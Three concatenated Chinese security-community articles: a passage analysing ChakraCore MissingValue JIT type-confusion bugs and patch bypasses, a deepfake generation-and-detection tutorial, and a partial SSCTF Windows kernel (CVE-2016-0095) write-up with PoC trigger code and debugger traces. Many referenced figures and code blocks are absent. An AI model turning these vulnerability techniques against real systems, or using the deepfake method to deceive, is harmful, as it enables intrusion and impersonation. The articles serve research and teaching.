（2）JavascriptNativeFloatArray: 用来存放8字节的浮点型元素，如let floatarr = [1.1, 2.2, 3.3,
4.4];
（3）JavascriptArray：用来存放混合数据类型元素，如let vararr = [0x1111, 1.1, {}];
JavascriptNativeIntArray在内存中的布局：
主要成员变量偏移：
+0x8: type
+0x18: arrayFlags
+0x20: length
+0x28: head
+0x30: segment
[segment]
+0x0: left
+0x4: length
+0x8: size
+0xc: next
+0x18: elements
JavascriptNativeFloatArray在内存的中布局：
（主要成员变量偏移同JavascriptNativeIntArray）
JavascriptArray在内存的中布局：
（主要成员变量偏移同JavascriptNativeIntArray）
通过上面三种Array的内存布局可以看到，JavascriptNativeIntArray和JavascriptNativeFloatArray的元素以原始数据形式存放在内存中，而JavascriptArray中的元素为了区分对象（指针）和数据，将整数和浮点数进行了box，其中整数与0x0001000000000000
或运算，浮点数与0xfffc000000000000 异或运算：
通过上面三种Array的内存布局，我们还可以发现一个有意思的地方，Array的elements中没有被赋值的索引内存存放的数据是0x80000002 (4
Bytes)和0x8000000280000002(8
Bytes)，那么这两个数代表什么呢，通过搜索ChakaCore的源码，可以发现他们在如下地方被定义：
那么什么是MissingItem呢？我们知道Javascript中Array可以间隔存放数据，未被赋值的元素将返回undefined：
实际上ChakraCore就是用0x80000002和0x8000000280000002这两个pattern以及Array的成员变量arrayFlags中是否存在HasNoMissingValues标志位来表示Array中的MissingValue（空缺的元素）的。
例如：let floatarr = [1.1, 2.2, , 4.4]; 在内存中的布局如下：
回忆我们在笔记1和笔记2中介绍的这样一种JIT的类型混淆模板：
其中笔记1中介绍了通过脚本回调的方式改变Object Memory Layout，笔记2中介绍了一种不需要脚本回调的方式：OpCode Side
Effect，这里OpCode Side
Effect实际上是对目标操作数的重新定值。笔记3中我们将介绍另一种不需要脚本回调的方式：MissingValue。
## 0x2 Case Study: CVE-2018-0953
根据case的描述可以知道，向JavascriptNativeFloatArray保存元素的时候会先判断保存的value是否等于JavascriptNativeFloatArray::MissingItem（0x8000000280000002），如果相等的话则会将JavascriptNativeFloatArray转换为JavascriptArray，并将value
box后存放。为什么有这样的转换逻辑呢？笔者猜测是因为MissingItem（0x8000000280000002）本身也是可以被浮点数表示的，即-5.304989478401e-314。如果不做处理的话则无法区分内存中的0x8000000280000002表示的是undefined还是-5.304989478401e-314。因此Chakra做了如上的处理，如果输入是-5.304989478401e-314，就把JavascriptNativeFloatArray转换为JavascriptArray，这样-5.304989478401e-314会被box从而区分0x8000000280000002：
那么这样的转换逻辑在JIT中是否安全呢？我们观察PoC中函数opt Globopt后的IR：
可以看到在第一条语句arr[1] = value;中，存在两个BailOut检查：BailOutOnNotNativeArray 和
BailOutOnMissingValue，而第二条语句arr[0] = 2.3023e-320;
则没有相关检查。这是因为在GlobOpt::CheckJsArrayKills时对于Opcode:InlineArrayPush，如果数组类型和push元素类型一样，则不会kill
NativeArray：
但是通过前面的分析可以知道向JavascriptNativeFloatArray保存的浮点数=-5.304989478401e-314时会将JavascriptNativeFloatArray转换为JavascriptArray（并且这样不会产生回调，可以绕过StElemI_A中BailOutOnImplicitCallsPreOp的检查），最终在执行第二条赋值语句arr[0]
=
2.3023e-320时，由于arr已经在runtime中被转换为JavascriptArray，但是JIT没有做array的类型检查，仍然将2.3023e-320（0x1234）以原始数据的方式存放在array中，从而形成JIT中的类型混淆，最终在Interpreter中访问arr[0]时指针解引用异常：
## 0x3 Patch and Bypass
这里微软的补丁思路是检查OP_SetNativeFloatElementI中调用arr->SetItem(indexInt,
dValue);后arr的类型是否发生变化，并在BackwardPass::UpdateArrayBailOutKind中对于NativeArray生成BailOutConvertedNativeArray类型转换的Bailout检查，补丁后Globopt的IR：
可以看到，对于这个MissingValue引发的JIT类型混淆漏洞，微软是在NativeArray
SetItem_A的入口点（OP_SetNativeIntElementI，OP_SetNativeFloatElementI）做了类型转换的检查，但是这只是针对该漏洞做了修补，从根本上其实并没有修复MissingValue可能引发的一系列问题。
针对这个补丁，lokihardt发现了两个新的bypass方式：
（1）寻找其他OpCode触发JavascriptNativeFloatArray::SetItem中的类型转换（Issue
1578，CVE-2018-8372）
（2）针对Array中有MissingValue并且arrayFlags中存在HasNoMissingValues标志位这样一种错误状态，寻找一种可以触发这种错误状态并导致类型转换的代码逻辑（Issue
1581，Duplicate with CVE-2018-8372）。
Issue 1578
这个case比较好理解：arr.push(value)也可以走到JavascriptNativeFloatArray::SetItem中触发arr的类型转换：
arr.push(value);
在JIT代码中会调用JavascriptNativeFloatArray::Push，进一步会再次调用到JavascriptNativeFloatArray::SetItem触发JavascriptNativeFloatArray的类型转换：
另外需要注意的是PoC中delete
tmp[1];是为了给Profile一个有MissingValue的Array从而绕过GlobOpt::ProcessValueKills中对Array类型的修改：
Issue 1581
这个case理解起来有点复杂，主要是需要理解Array.prototype.concat()的实现。根据MDN的介绍Array.prototype.concat()
方法用于合并两个或多个数组，此方法不会更改现有数组，而是返回一个新数组。Array.prototype.concat()对应ChakraCore的入口点为JavascriptArray::EntryConcat，如果合并的数组元素为浮点型则进入JavascriptArray::ConcatFloatArgs函数。JavascriptArray::ConcatFloatArgs函数和漏洞相关的几处分支如下：
（1）判断是否需要从数组元素的原型链中取值：
函数IsFillFromPrototypes做如下检查：
这里因为存在错误的MissingValue状态，isFillFromPrototypes = false。
（2）调用JavascriptArray::CopyNativeFloatArrayElements逐个元素拷贝到新数组：
这里存在一个因为错误的MissingValue状态引发的计数问题：e.MoveNext<double>()会跳过数组元素为MissingValue的赋值操作，计数器count不增加，导致数组元素计数错误，最终进入if
(start + count !=
end)分支调用：JavascriptArray::InternalFillFromPrototype从数组元素的原型链取值。
（3）JavascriptArray::InternalFillFromPrototype从原型链中寻找Array
PoC中首先将buggy的原型指向Proxy，再通过arr.getPrototypeOf =
Object.prototype.valueOf;使prototype = prototype->GetPrototype();返回arr自身。
（4）ForEachOwnMissingArrayIndexOfObject
触发EnsureNonNativeArray调用，最终改变arr类型，再次实现类型混淆：
## 0x4 Thinking
MissingValue这一类漏洞出现后，微软做了一系列的修补，其中包括重新定义了MissingItem的Pattern:
可以看到新的FloatMissingItemPattern不可以再通过浮点数表示，这就阻止了直接通过脚本给数组赋值构造MissingValue的方法。但是可以看到IntMissingItemPattern
= 0xFFF80002; 0xFFF80002依然可以由整数-524286表示，因此根据lokihardt的思路，同样可以考虑如下两种情况：
（1）寻找其他的OpCode通过给NativeIntArray赋值MissingValue触发JavascriptNativeFloatArray::SetItem中的类型转换
（2）针对Array中有MissingValue并且arrayFlags中存在HasNoMissingValues标志位这样一种错误状态，寻找一种可以触发这种错误状态并导致类型转换的代码逻辑
对于思路（1）：Jonathan Jacobi的议题From Zero to Zero Day中提到了CVE-2018-8505，根据其补丁：
这里是在JavascriptOperators::OP_Memset中对于array类型是NativeIntArray的数组，增加了MissingValue的判断，说明NativeIntArray中也存在MissingValue的问题，但是如何触发呢？
由于并未搜索到这个CVE的PoC，笔者只能从补丁的信息中尝试构造。这里我们的目标是生成一个带有MissingValue并且存在HasNoMissingValues标志位的NativeIntArray。首先考虑如何通过Javascript触发OP_Memset。通过搜索ChakraCore源码可以知道OP_Memset由OpCode::Memset生成，而OpCode::Memset是存在于Backend的Opcode，通过GlobOpt::EmitMemop生成：
而GlobOpt::EmitMemop则是在loop中有连续内存操作的时候被调用：
因此可以考虑通过loop中数组的连续赋值生成OpCode::Memset来触发OP_Memset的调用：
接下来只需要构造一个HasNoMissingValues的NativeIntArray，并通过opt函数将0xFFF80002（-524286）赋值给数组元素即可得到一个带有MissingValue并且存在HasNoMissingValues标志位这样错误状态的NativeIntArray了：
那么得到这个错误状态的NativeIntArray如何利用呢，可以参考Non JIT Bug, JIT Exploit中大宝的利用思路，首先通过arr[0]
= 1.1得到一个错误状态的NativeFloatArray，再通过victim[0x100] = arr[1]
触发JavascriptNativeFloatArray::SetItem中的类型转换。
对于思路（2）From Zero to Zero Day给出了完整的PoC：
可以看到这次是通过在JavascriptArray中构造MissingValue，再通过Array.prototype.concat()来触发。这里5.562748303551415e-309
=
0x00040002fff80002，由于浮点型数据存放到JavascriptArray会被box，box后的值为0xfff80002fff80002，从而构造了一个JavascriptArray中的MissingValue。
在多个MissingValue的漏洞利用Array.prototype.concat()触发类型转换后，微软直接将有concat操作符的NativeArray
Symbol
Kill掉，这样始终会生成NativeArray的类型检查，从而修补了Array.prototype.concat()中的MissingValue带来的Side
Effect。
最后想要说的是Non JIT Bug, JIT Exploit中大宝的利用思路非常值得大家学习：所有错误返回0值操作的bug都可以尝试通过 [1, 0 –
524286]
构造一个有MissingValue并且存在HasNoMissingValues标志位这样错误状态的NativeIntArray，最终转换为JIT类型混淆漏洞：
## 0x5 References
1. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1531>
2. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1578>
3. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1581>
4. <https://blogs.projectmoon.pw/2018/08/17/Edge-InlineArrayPush-Remote-Code-Execution/>
5. <https://www.anquanke.com/post/id/169829>
6. <https://phoenhex.re/2019-05-15/non-jit-bug-jit-exploit> | 社区文章 |
# 深度伪造(Deepfake)原理分析及实战
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
众所周知，人工智能正迎来第三次发展浪潮，它既给社会发展带来了巨大机遇，同时也带来了诸多风险，人工智能对国家安全的影响已成为世界各国的重要关切和研究议程。作为人工智能深度学习领域的一个分支，Deepfake(深度伪造)技术在近几年迅速兴起，为国家间的政治抹黑、军事欺骗、经济犯罪甚至恐怖主义行动等提供了新工具，给政治安全、经济安全、社会安全、国民安全等国家安全领域带来了诸多风险。
本文会首先介绍Deepfake的相关背景及技术特点，然后以实战为导向详细介绍Deepfake的一种典型生成方案，最后会给出常用的防御(检测)策略。
## Deepfake背景
深度伪造一词译自英文“Deepfake”(“deep learning”和“fake”的组合),
最初源于一个名为“deepfakes”的Reddit社交网站用户, 该用户于2017年12月在 Reddit
社交网站上发布了将斯嘉丽·约翰逊等女演员的面孔映射至色情表演者身上的伪造视频。
Deepfake目前在国际上并没有公认的统一定义, 美国在其发布的《2018 年恶意伪造禁令法 案》中将“deep
fake”定义为“以某种方式使合理的观察者错误地将其视为个人真实言语或行为的真实记录的方式创建或更改的视听记录”,
其中“视听记录”即指图像、视频和语音等数字内容。本文就采用这一定义，并针对“视听记录”中的视频领域的技术进行分析及实战。
### 视频伪造
视频伪造是Deepfake技术最为主要的代表，制作假视频的技术也被业界称为人工智能换脸技术（AI face
swap)。其核心原理是利用生成对抗网络或者卷积神经网络等算法将目标对象的面部“嫁接”到被模仿对象上。由于视频是连续的图片组成，因此只需要把每一张图片中的脸替换，就能得到变脸的新视频。具体而言，首先将模仿对象的视频逐帧转化成大量图片，然后将目标模仿对象面部替换成目标对象面部。最后，将替换完成的图片重新合成为假视频，而深度学习技术可以使这一过程实现自动化。
随着深度学习技术的发展，自动编码器、生成对抗网络等技术逐渐被应用到深度伪造中。
**自动编码器**
自动编码器是神经网络的一种，其基本思想就是直接使用一层或者多层的神经网络对输入数据进行映射，得到输出向量，作为从输入数据提取出的特征。基本的自编码器模型是一个简单的三层神经网络结构：一个输入层、一个隐藏层和一个输出层。其中输出层和输入层具有相同的维数。自动编码器本质上是一种数据压缩算法，其中数据的压缩和解压缩函数是数据相关的、有损的、从样本中自动学习。目前自编码器的主要用途就是降维、去噪和图像生成。
在应用于Deepfake的情况下输入视频帧，并编码。这意味着它将从中收集的信息转换成一些低维的潜在空间表示。这个潜在的表示包含关键特征的信息，如面部特征和身体姿势的视频帧。通俗地说，其中有关于脸在做什么的信息，是微笑还是眨眼等等。自动编码器的解码器将图像从潜在表示中恢复出来，用于给网络学习。
**生成对抗网络**
生成对抗网络是非监督式学习的一种方法，通过让两个神经网络相互博弈的方式进行学习。该方法由伊恩·古德费洛等人于2014年提出。生成对抗网络由一个生成网络与一个判别网络组成。生成网络从潜在空间（latent
space）中随机取样作为输入，其输出结果需要尽量模仿训练集中的真实样本。判别网络的输入则为真实样本或生成网络的输出，其目的是将生成网络的输出从真实样本中尽可能分辨出来。而生成网络则要尽可能地欺骗判别网络。两个网络相互对抗、不断调整参数，最终目的是使判别网络无法判断生成网络的输出结果是否真实。
在Deepfake的场景下，通过使用生成对抗网络可以生成更逼真的图像/视频。
但是在过去要使用Deepfake进行生成时，需要额外的信息。比如，如果想要生成头部的移动，则我们需要脸部的landmark，如果想要生成全身的移动，还需要姿势估计(pose-estimation)。此外，使用这些传统技术如果想把源脸替换到目标脸上的话，需要使用大量的双方人脸图像的数据进行事先训练训练。
而本文将介绍的技术不需要这些附加约束条件，原文发在NIPS2019上，名为《First Order Motion Model for Image
Animation》。
## First Order Motion Model for Image Animation
从论文的题目就可以看出，其希望完成的任务是image animation，输入一张源图像（source image）和一个驱动视频(driving
video)，输出是一段视频，其中主角是源图像，动作是驱动视频中的动作。如下所示，源图像通常包含一个主体，驱动视频包含一系列动作。
第一列是给定的图片，而第一排图像是给定的动作序列，通过人脸和表情的迁移，分别使其完成了一系列的动作。换句话说，把提取到的动作特征用作图像的动作依据。
作者采用了一种源于Monkey
Net(见参考文献[6])的自我监控策略。在训练时，作者使用了大量包含相同对象类别的对象的视频序列。模型通过组合一个单一的帧和一个学习的动作的潜在表示来重建训练视频。通过观察从同一视频中提取的帧对，它会学习到将动作编码为特定于动作的关键点位移和局部仿射变换的组合。在测试时，将模型应用到由源图像和驱动视频的每一帧组成的对上，并根据源对象生成对应的图像动画。
整个模型的运作流程如下
整个模型分为运动估计模块和图像生成模块两个主要组成部分。在运动估计模块中，该模型通过自监督学习将目标物体的外观和运动信息进行分离，并进行特征表示。而在图像生成模块中，模型会对目标运动期间出现的遮挡进行建模，然后从给定的名人图片中提取外观信息，结合先前获得的特征表示，进行视频合成。
1）运动估计模块
输入：源图像S , 驱动图像D
输出：
1、密集运动场：表征了驱动图像D中的每个关键点到源图像S的映射关系
2、贴图遮罩：表明了在最终生成的图像中，对于驱动图像D而言，那部分姿态可以通过S扭曲得到，哪部分只能通过impainting得到
在这里，S到D有一个较大的形变，直接映射，误差较大，采用的技巧是提出了一个过渡帧R,首先建立R帧到S帧、R帧到D帧的映射，然后再建立D帧到S帧的映射
运动估计模块中有两个子模块：
1、关键点检测器：检测图片中的关键点信息。接着采用局部仿射变换，在关键点附近建模它的运动，主要用一阶泰勒展开来实现。同理，R帧到D帧通过这种方式并行得到
2、稠密运动网络：根据前面得到的映射关系J和源图像S产生上面说的2个输出。
2）图像生成模块：图像生成模型，根据输入的图片和第一部分得到的信息，生成一个新的图片
这里有论文原作者的分享报告：
[https://www.youtube.com/watch?v=u-0cQ-grXBQ&feature=emb_imp_woyt，感兴趣的师傅们可以看看](https://www.youtube.com/watch?v=u-0cQ-grXBQ&feature=emb_imp_woyt%EF%BC%8C%E6%84%9F%E5%85%B4%E8%B6%A3%E7%9A%84%E5%B8%88%E5%82%85%E4%BB%AC%E5%8F%AF%E4%BB%A5%E7%9C%8B%E7%9C%8B)
## 要点分析
在上图中我们看到Motion module(黄色底色)实际上有两个子模块（一左一右），分别是关键点检测器（keypoint
detector)和稠密运动网络(dense
motion),这是论文的核心，在本节接下来的部分我们会依次介绍关键点检测器、稠密运动网络、训练损失、测试阶段的关键细节，帮助大家更容易理解本文的工作思路(注意，原论文文后还有10页的附录都是关于公式细节的，我们这里均略过，下面只会分析、推导正文给出的关键公式)。
### 关键点检测器
论文中物体的运动用其关键点处的运动表示，关键点通过自监督的方式学习。首先假设存在一个抽象的参考帧R，这样的话，预测Ts<-D可以拆分成预测Ts<-R和TR<-D。注意R是抽象的，可以在推导中消除。引入R的好处是可以将S和D分离。
对于某类物体，假设有K个关键点p1，p2，…，pK。
假设有一帧图片X，对于函数Tx<-R，用在pK处的一阶泰勒展开表示R中的任意像素p点处的值有：
忽略高无穷小量，得到
假设TX<-R在关键点的邻域是双射，于是有TR<-X=T-1X<-R，此时在关键点pK附近就有
带入一阶泰勒展开，得到
其中，
于是，TS<-D在任一点处的值可以通过关键点处的值和关键点处的导数估计。
TS<-R(pk)和TD<-R(pk)用关键点预测器预测。关键点预测器使用标准的U-Net结构，预测K个热力图，每个热力图代表一个关键点。关键点预测器对每个关键点额外预测4个通道，用于计算
和
### 稠密运动网络
论文这里的目的是用稠密运动网络联合各关键点的局部运动和源图像得到稠密的运动场。
根据K个关键点的局部运动，将原图像变形（warp）成S1,S2,….,SK，再添加一个不运动的S0=S表示背景。另外计算Hk用于表示运动发生的像素点位置：
转换得到的图片S1,S2,….,SK和Hk拼接在一起通过另外一个U-Net得到掩码Mk。最后稠密运动场使用下面的公式计算：
在源图像中存在遮挡的时候，目标图像并不能完全通过变形源图像获得。所以考虑预测一个遮挡映射
其用于表示源图像哪些区域需要被inpainted
转换后的特征图被写作
上式中fw表示反向变形操作。
### 训练损失
训练的损失由多项组成。首先是基于感知损失(perceptual loss)的重构损失(reconstruction
loss)。该loss用预训练的VGG-19网络作为特征提取器，对比重建帧和驱动视频的真实帧的特征差异：
另外考虑到关键点的学习是无标签的，这会导致不稳定的表现，所以引入不变性约束(Equivariance
constraint)用在无监督关键点的学习中。假设图片X经过一个已知的变换TX<-Y，得到Y。标准的不变性约束是
通过对两边进行一阶泰勒展开有
使用L1损失对上面两个公式进行约束
### 测试阶段
测试阶段也就是实际的合成阶段，其目标是用驱动视频的每一帧D1,…,DT驱动源图像S1。论文采用相对运动的方式驱动Dt ，也就是通过D1和Dt
的相对运动驱动S1。好处是可以保持源图像中物体的几何信息
### 关键代码
**关键点检测**
KPDetector类用于检测关键点，它会返回关键点的位置
**转换图像**
OcclusionAwareGenerator类，给定源图像和关键点，根据由关键点推导出的运动轨迹转换图像
**动作计算**
DenseMotionNetwork类根据给定的kp_source和kp_driving预测稠密运动，动作的计算主要都集中在这里。其中包括以下三个关键函数
1）计算热力图的函数
对应论文中的公式(6)
2）计算稀疏轨迹的函数
对应论文中的公式(4)
3）计算最终得到的密集运动预测
对应论文中的公式(7)
### 生成测试
注：由于可能涉及侵犯隐私，这里源图像选用安全客的小安动漫形象以及小熊猫，驱动视频选用github上开源出的小李子和川普的动态视频，同时由于官网投稿时无法上传mp4，故转换成gif。
小安图像如下
小李子视频如下：
生成效果如下：
小熊猫图像如下：
川普视频如下：
生成效果如下：
## 检测
随着Deepfake技术的发展，互联网上充斥着大量包含伪造人脸的虚假视频，Deepfakes类技术的滥用带来巨大的负面影响，本文给出一些典型检测思路及方案。
### 基于传统图像取证
传统的图像取证初始主要是基于传统的信号处理方法，大多数依赖于特定篡改的证据，利用图像的频域特征和统计特征进行区分，如局部噪音分析、图像质量评估、设备指纹、光照等，解决复制-移动、拼接、移除这些图像篡改问题。而Deepfake视频本质也是一系列伪造合成的图片合成，因此可以将此类方法应用到Deepfake检测。
### 基于生理信号特征
伪造视频往往忽略人的真实生理特征，无法做到在整体上与真人一致。比如，有研究人员发现Deepfakes创造的是分离的合成脸区域，这样在计算3D
头部姿态评估的时候，就会引入错误。因为Deepfakes是交换中心脸区域的脸，脸外围关键点的位置仍保持不变，中心和外围位置的关键点坐标不匹配会导致3D
头部姿态评估的不一致，故用中心区域的关键点计算一个头方向向量，整个脸计算的头方向向量，衡量这两个向量之间的差异.
针对视频计算所有帧的头部姿态差异，最后训练一个支持向量机（SVM）分类器来学习这种差异，由此便可以检测出虚假视频。
### 基于图像篡改
深度伪造图像受限于早期深度网络的生成技术，在生成的人脸在细节上存在很多不足。比如有研究人员利用真假脸的不一致性来区分，如(1)
全局不一致性：新的人脸的生成，图像的数据点插值是随机的，并不是很有意义，这会导致的全局眼睛的左右颜色不一致，鼻子的左右色彩等；(2)
光照不一致性：篡改区域和正常区域对光照的反射不一样，如眼睛区域，Deepfakes生成的视频大多丢失这个眼睛反射细节；（3）几何位置不一致：细节位置缺失，如牙齿，只有一些白色斑点，这个细节没有建模。通过对这些特定区域（牙齿、眼睛等）提取的特征向量训练多层感知机进行分类。
此外，kaggle上也有检测Deepfake的竞赛
（[https://www.kaggle.com/c/deepfake-detection-challenge/），感兴趣的师傅们可以去看看](https://www.kaggle.com/c/deepfake-detection-challenge/%EF%BC%89%EF%BC%8C%E6%84%9F%E5%85%B4%E8%B6%A3%E7%9A%84%E5%B8%88%E5%82%85%E4%BB%AC%E5%8F%AF%E4%BB%A5%E5%8E%BB%E7%9C%8B%E7%9C%8B)
## 写在最后
分享出这篇文章，会不会有人在本文的启发下做出恶意行为呢？事实上，不论是否由本文来介绍，该技术事实上就是存在的，写出来后，反而能唤醒更多人在虚假视频这方面的安全意识，而其中的一部分人又会致力于研究相关的反制措施，分享出本文，利远大于弊；其次，该方案伪造出的视频并不逼真，肉眼就可以观察出来，之所以分享DeepFake系列技术中的这个方案，也是基于安全考虑，重点在于告诉大家这类攻击是可行的，不需了解高深数学原理、人工智能理论，轻易就可以实现。换句话说，介绍该技术的目的更多是相当于一个poc，而不是exp，仅做概念证明使用，距离实用还有差距，但是却可以引起安全人员的关注，促进该领域的防御研究。
Deepfake系列技术看起来是似乎与网络空间安全没有关系，毕竟没有涉及APT、红蓝对抗等师傅们熟知的概念，但是网络空间安全并不仅仅只有攻防对抗，其重要组成部分之一就是网络空间内容安全，本文介绍的DeepFake生成及防御就包括在内，其他还包括神经网络水印、鲁棒机器视觉、对抗样本等技术，以后有机会再分享给大家。
## 参考：
1.<https://variety.com/2018/digital/news/deepfakes-porn-adult-industry-1202705749/>
2.<https://www.congress.gov/bill/115th-congress/senate-bill/3805>.
3.Exposing deep fakes using inconsistent head poses
4.A Survey on Deepfakes and Detection Techniques
5.First Order Motion Model for Image Animation
6.《Deep Learning》
7.<https://zhuanlan.zhihu.com/p/31742653>
8.<https://arxiv.org/abs/1406.2661>
9.Animating arbitrary objects via deep motion transfer
10.<https://ai.baidu.com/forum/topic/show/964820>
11.<https://bbs.huaweicloud.com/blogs/240588>
12.<https://blog.csdn.net/h1063135843/article/details/107841651>
13.<https://github.com/AliaksandrSiarohin/first-order-model>
14.<https://aistudio.baidu.com/aistudio/education/group/info/1340> | 社区文章 |
# 【CTF 攻略】SSCTF pwn450 Windows Kernel Exploitation Writeup
|
##### 译文声明
本文是翻译文章，文章来源：whereisk0shl.top
原文地址：<http://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
* * *
[**第三届 SSCTF 全国网络安全大赛—线上赛圆满结束！**](http://bobao.360.cn/ctf/activity/421.html)
[**【CTF 攻略】第三届 SSCTF 全国网络安全大赛—线上赛
Writeup**](http://bobao.360.cn/ctf/detail/195.html) **
**
**前言**
* * *
刚刚结束的SSCTF里面出了很多贴近实战的题目，有JAVA沙箱逃逸，有office的栈溢出，都比较有意思，这次的pwn450的题目是一道Windows
Kernel
Exploitation，漏洞编号是CVE-2016-0095（MS16-034），由四叶草的大牛bee13oy提供了一个能触发BSOD的PoC，要求通过分析漏洞并在Win
7环境下完成利用。
感觉这个过程比较有意思，和师傅们分享一下，这个漏洞相对于之前做过的CVE-2014-4113漏洞来说更为简单，利用上也有点意思，适合做Windows
Kernel入门。
本文首先我们简单分析一下PoC，随后我们一起来分析一下这个漏洞的形成原因，最后我们来看一下这个漏洞的利用点在哪里并完成利用，文章最后我将CVE-2016-0095的EoP源码上传到github并提供链接。
另外bee13oy大牛提供的PoC，我在VS2013下编译有一点问题，我稍微调整了一下PoC源码，会一起上传至github。
调试环境按照SSCTF题目要求是Windows 7 x86 sp1. 请师傅们多多指教，谢谢阅读！
**PoC分析**
* * *
首先触发MS17-017的核心函数在Trigger_BSoDPoc中。
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
这个漏洞和bitmap相关，创建了一个hdc设备句柄，并选入了一个bitmap对象，创建了一个hBrush逻辑刷子，以及一个hRgn矩形对象，最后调用FillRgn触发漏洞。
其中SelectObject选入bitmap对象的hBitmap2，由NtGdiSetBitmapAttributes函数创建，其定义的bitmap结构在demo_CreateBitmapIndirect函数中。
PoC在VS2013编译时存在一些小问题，首先是对NtGdiSetBitmapAttributes的重构定义中使用的W32KAPI，这里编译时报错，增加一个预定义头就可以了。
#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endif
第二个问题在重构NtGdiSetBitmapAttributes时内联汇编会使用NtGdiSetBitmapAttributes的系统调用号，随后调用KiFastSystemCall进入内核态，这里KiFastSystemCall没有提供地址，可以直接在函数内LoadLibrary之后使用GetProcAddress获取KiFastSystemCall地址。
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
这样编译就没问题啦，PoC我们简单分析了一下，下面我们通过Windbg的PIPE进行双机联调，来分析一下这个漏洞的形成原因。
**MS16-034漏洞分析**
* * *
这是一个由于_SURFOBJ->hDEV未初始化直接引用导致的无效地址访问引发的漏洞，首先运行PoC，Windbg会捕获到异常中断，来看一下中断位置。
kd> r
eax=00000000 ebx=980b0af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe9950d8
eip=838b0560 esp=980b0928 ebp=980b09a0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32k!bGetRealizedBrush+0x38:
838b0560 f6402401 test byte ptr [eax+24h],1 ds:0023:00000024=??
中断位置eax的值是0x0，而eax+24是一个无效地址空间，我们需要跟踪这个eax寄存器的值由什么地方得到，首先分析win32k!bGetRealizedBrush函数。
int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned __int32))
{
函数传入了3个变量，由外层函数分析，可以发现其中a3是EngRealizeBrush函数，是一个写死的值（这点后
面会提到），a1是一个BRUSH结构体，a2是一个EBRUSHOBJ结构体，而漏洞触发位置的eax就由EBRUSHOBJ结构体得来，跟踪分析一下这个过程。
kd> p
win32k!bGetRealizedBrush+0x1c://ebx由第二个参数得来
969e0544 8b5d0c mov ebx,dword ptr [ebp+0Ch]
……
kd> p
win32k!bGetRealizedBrush+0x25://第二个参数+34h的位置的值交给eax
969e054d 8b4334 mov eax,dword ptr [ebx+34h]
……
kd> p
win32k!bGetRealizedBrush+0x32://eax+1c的值，交给eax，这个值为0
969e055a 8b401c mov eax,dword ptr [eax+1Ch]
kd> p
win32k!bGetRealizedBrush+0x35:
969e055d 89450c mov dword ptr [ebp+0Ch],eax
kd> p
win32k!bGetRealizedBrush+0x38://eax为0，引发无效内存访问
969e0560 f6402401 test byte ptr [eax+24h],1
经过上面的分析，我们需要知道，EBRUSHOBJ+34h位置存放着什么样的值，直接来看EBRUSHOBJ结构体的内容。
kd> dd 8effcaf8
8effcaf8 ffffffff 00000000 00000000 00edfc13
8effcb08 00edfc13 00000000 00000006 00000004
8effcb18 00000000 00ffffff fe96b7c4 00000000
8effcb28 00000000 fd2842e8 ffbff968 ffbffe68
这里0x8effcaf8+34h位置存放的值是fd2842e8，而fd2842e8+1c存放的是0x0，就是这里传递给eax，导致了eax是0x0，从而引发了无效地址访问。
kd> dd fd2842e8
fd2842e8 108501ef 00000001 80000000 874635f8
fd2842f8 00000000 108501ef 00000000 00000000
fd284308 00000008 00000008 00000020 fd28443c
fd284318 fd28443c 00000004 00001292 00000001
因此我们需要知道fd2842e8＋1c是一个什么对象的值，但通过dt方法没法获得_EBRUSHOBJ的结构，这里对象不明朗没关系，我们可以通过对外层函数的跟踪，来看一下+1c位置存放的是什么样的结构，通过kb堆栈回溯（这里由于多次重启堆栈地址发生变化，不影响调试）
kd> kb
# ChildEBP RetAddr Args to Child
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339
我们可以看到最外层函数调用了win32k!NtGdiFillRgn函数，直接跟踪外层函数调用，在NtGdiFillRgn函数中。
EngPaint(
(struct _SURFOBJ *)(v5 + 16),
(int)&v13,
(struct _BRUSHOBJ *)&v18,
(struct _POINTL *)(v42 + 1592),
v10); // 函数调用会进这里
接下来我们重启系统，重新跟踪这个过程，对象地址值发生变化，但不影响调试，传入的第一个参数是SURFOBJ对象，来看一下这个对象的内容
kd> p
win32k!NtGdiFillRgn+0x334:
96adbb98 e8fafaffff call win32k!EngPaint (96adb697)
kd> dd esp
903fca5c ffb58778 903fca7c 903fcaf8 ffaabd60
第一个参数SURFOBJ的值是ffb58778，继续往后跟踪
kd> p
win32k!EngPaint+0x45:
96adb6dc ff7508 push dword ptr [ebp+8]
kd> p
win32k!EngPaint+0x48:
96adb6df 8bc8 mov ecx,eax
kd> p
win32k!EngPaint+0x4a:
96adb6e1 e868e4f8ff call win32k!SURFACE::pfnBitBlt (96a69b4e)
